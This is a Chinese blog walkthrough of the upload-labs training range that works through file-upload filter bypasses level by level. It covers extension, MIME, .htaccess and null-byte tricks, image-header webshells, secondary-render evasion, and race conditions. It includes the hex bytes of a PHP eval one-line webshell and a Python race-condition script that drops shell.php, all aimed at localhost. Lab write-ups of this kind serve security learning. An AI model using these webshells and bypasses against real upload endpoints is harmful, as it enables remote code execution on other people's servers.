• upload-labs文件上传靶场实操



    在这里插入图片描述
    上传姿势总结:
    1)改后缀名绕过
    2)Content-Type绕过
    3)本地文件包含
    4)远程文件包含
    5)httpd.conf黑名单绕过
    6)htaccess绕过
    7)大小写绕过
    8)空格绕过
    9)点绕过
    10)特殊符号::$DATA绕过
    11). .绕过
    12)多写绕过(多写php)
    13)%00截断目录绕过
    14)16进制00截断目录
    15)本地文件包含+文件头绕过
    16)本地文件包含+图片马绕过
    17)条件竞争绕过(二次渲染)
    18)条件竞争+白名单上传7z+脚本执行
    19)重命名数组法绕过

    1.Pass-01

    改后缀名绕过
    只能上传图片,先上传一个jpg格式的图片,然后抓包改格式
    改成3.php,以及Content-Type
    Content-Type: application/octet-stream
    在这里插入图片描述

    上传成功后点击图片位置右键获取链接
    在这里插入图片描述

    得到http://127.0.0.1:9005/upload/3.jpg
    改成php格式的就是payload
    http://127.0.0.1:9005/upload/3.php
    在这里插入图片描述

    2.Pass-02

    Content-Type绕过
    使用上一关的方法还是提示报错,说明存在过滤
    在这里插入图片描述

    这里的办法是使用重复类型Content-Type
    即既然它以Content-Type为准,那么我就先给他一个正确的Content-Type,然后再改后缀为.php

    发现上传成功
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述在这里插入图片描述

    getshell成功

    3.Pass-03

    方法一:本地文件包含
    直接上传非php文件,使用本地包含文件getshell
    在这里插入图片描述在这里插入图片描述
    远程文件包含注意点
    1.在php.ini中需要allow_url_include = on和allow_url_fopen= on
    2.所需的远程文件后缀不能与目标服务器的语言相同,如目标服务器解析PHP代码,则远程文件后缀不能为.php。
    比如远程服务上有如下两个文件
    在这里插入图片描述

    我们发现php格式的链接不了,而txt格式的反而可以
    在这里插入图片描述
    在这里插入图片描述

    方法二:httpd.conf黑名单绕过
    黑名单规则不严谨,在某些特定环境中某些特殊后缀仍会被当作php文件解析
    php、php2、php3、php4、php5、php6、php7、pht、phtm、phtml
    在这里插入图片描述

    但是以上方法对nts版本的apache无效,需使用类似如下的版本
    在这里插入图片描述

    然后在httd.conf新增类型,再重启服务就可以解析php4了
    在这里插入图片描述在这里插入图片描述

    4.Pass-04

    htaccess绕过
    在这里插入图片描述

    但是看来被过滤了
    在这里插入图片描述

    上传htaccesss试下
    在这里插入图片描述

    该文件的意思是,只要遇到文件名中包含有”backlion.jpg”字符串的任意文件,统一被当作php执行。如果这个” backlion.jpg”的内容是一句话木马,即可利用中国菜刀进行连接
    前提条件是:大于等于php版本5.3.39以下
    在这里插入图片描述

    成功了
    那么上传一个backlion.jpg的文件试下
    在这里插入图片描述

    上传成功,也被解析了
    在这里插入图片描述

    使用菜刀成功getshell

    在这里插入图片描述在这里插入图片描述

    5.Pass-05

    大小写绕过
    这关过滤了htaccess
    在这里插入图片描述在这里插入图片描述

    但是,只是通过大小写就上传成功了
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    6.Pass-06

    空格绕过
    在这里插入图片描述在这里插入图片描述

    测试的时候可以这样测
    3.php
    3.php .jpg
    3.php . .jpg
    3.php . . jpg

    7.Pass-07

    点绕过
    在这里插入图片描述在这里插入图片描述

    8.Pass-08

    特殊符号::$DATA绕过
    在这里插入图片描述在这里插入图片描述

    测试是需把::$DATA删掉
    在这里插入图片描述

    9.Pass-09

    . .绕过
    在这里插入图片描述

    执行后会自动去掉最后一个点
    在这里插入图片描述

    然后保存时又会去掉最后1个点
    结果就保存了5.php
    在这里插入图片描述

    10.Pass-10

    多写绕过
    在这里插入图片描述

    会自动删掉php
    在这里插入图片描述

    那么我就多写绕过
    在这里插入图片描述在这里插入图片描述

    11.Pass-11

    %00截断目录
    由于目录可控,且是百名单过滤,因此使用%00截断
    并新建55.php,而filename里依旧上传jpg
    在这里插入图片描述
    在这里插入图片描述

    12.Pass-12

    16进制00截断目录
    这关目录还是可控
    在这里插入图片描述

    33.php的16进制后面加00
    在这里插入图片描述
    在这里插入图片描述

    上传后会自动新建33.php而抛弃后面的.jpg
    在这里插入图片描述

    13.Pass-13

    本地文件包含+文件头绕过
    文件头简介,不同的图片文件都有不同文件头,如:
    PNG: 文件头标识 (8 bytes) 89 50 4E 47 0D 0A 1A 0A
    JPEG: 文件头标识 (2 bytes): 0xff, 0xd8
    GIF: 文件头标识 (6 bytes) GIF89a
    白名单过滤,而且必须在内容里添加图片文件头,根据文件头生成图片
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    jpg需要输入16进制的ffd8

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    png文件头是16进制的8950
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    但是试想这一关如果没有文件包含漏洞的话又该怎么破呢

    14.Pass-14

    本地文件包含+图片马
    和上一关一样,提示还是使用文件包含和图片马
    GIF89a
    在这里插入图片描述
    在这里插入图片描述

    Jpg 需在cmd使用copy命令制作图片马绕过
    在这里插入图片描述
    在这里插入图片描述

    Png 89 50 4E 47 0D 0A 1A 0A
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    15.Pass-15

    本地文件包含+图片马
    源代码提示需开启php_exif
    在这里插入图片描述

    打开php.ini
    把;extension=php_exif.dll前面的;去掉就行,然后重启服务
    在这里插入图片描述

    GIF:GIF89a
    在这里插入图片描述

    Jpg 需制作图片马
    在这里插入图片描述

    Png:
    ‰PNG

    在这里插入图片描述

    16.Pass-16

    二次渲染+条件竞争
    这关好像用到了二次渲染,因为上传后的图片马都找不到一句话木马了
    针对二次渲染,需要用到一个对比工具Emeditor,找出没有改动的那块贴进一句话木马进去
    首先把一句话木马复制出来
    在这里插入图片描述

    3C 3F 70 68 70 20 40 65 76 61 6C 28 24 5F 50 4F 53 54 5B 22 66 6E 61 6D 65 22 5D 29 3B 3F 3E 1A
    然后找到没有改动的地方
    在这里插入图片描述

    这里我们选择下面的
    在这里插入图片描述
    在这里插入图片描述

    保存出来再试下
    在这里插入图片描述
    在这里插入图片描述

    Jpg和PNG的情况使用之前的方法搞不定,因为jpg是压缩编码的,据说需要使用脚本实现,而且成功率不高,而png几乎找不到没改动的,这两个单独提取出来做一个任务
    解决方法是使用条件竞争实现,具体操作可参考
    https://blog.csdn.net/wutiangui/article/details/131474195
    Png格式
    在这里插入图片描述

    Jpg格式
    在这里插入图片描述

    17.Pass-17

    条件竞争
    17关也可以沿用上一关的做法,只是这里其实可以直接上传php,不需要文件包含
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    18.Pass-18

    条件竞争+白名单上传7z+脚本执行
    这关同样用到条件竞争,逻辑是先上传,如果是白名单里的则重命名,否则删除

    import html
    import requests
    from threading import Thread
    url="http://127.0.0.1/upload/uploadphpinfocmd.php.7z"
    url2="http://127.0.0.1/upload/shell.php"
    def request():
        global html
        global html_2
        html = requests.get(url)
        print(html.status_code)
        html_2=requests.get(url2)
    
    while True:
        t=Thread(target=request())
        t.start()
        if html_2.status_code==200:
            print("shell已生成")
            break
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    因此这里先上传一个白名单的文件*.7z
    在这里插入图片描述

    重复1000次,然后开启py脚本去访问这个生成的7z,去执行里面的代码
    可以发现很快就跑出结果来了
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    19.Pass-19

    条件竞争+白名单上传7z+脚本执行
    和上关同样
    先持续上传1000次,生成*.7z
    在这里插入图片描述
    在这里插入图片描述

    然后脚本追踪这个文件
    在这里插入图片描述
    在这里插入图片描述

    20.Pass-20

    重命名数组法
    最后一关7z也被白名单过滤了
    在这里插入图片描述

    最后的做法还是只能参考别人的,就是使用数组法增加一个不支持的,最后一个使用支持的格式
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

  • 相关阅读:
    【数据结构】C++实现二叉搜索树
    近两年激光雷达运动物体分割论文阅读小结
    用python解决这个问题
    使用百度EasyDL实现新闻资讯自动分类
    NeurIPS 2022|基于神经微分方程理论可以帮助我们训练更加深层次的ResNet网络
    F03-Flask
    element form表单动态添加新增一行
    某蝶EAS(Enterprise Application Suite)平台myUploadFile接口任意文件上传漏洞复现 CNVD-2023-57598
    GPT实战系列-LangChain实现简单链
    Spring核心思想
  • 原文地址:https://blog.csdn.net/wutiangui/article/details/132856220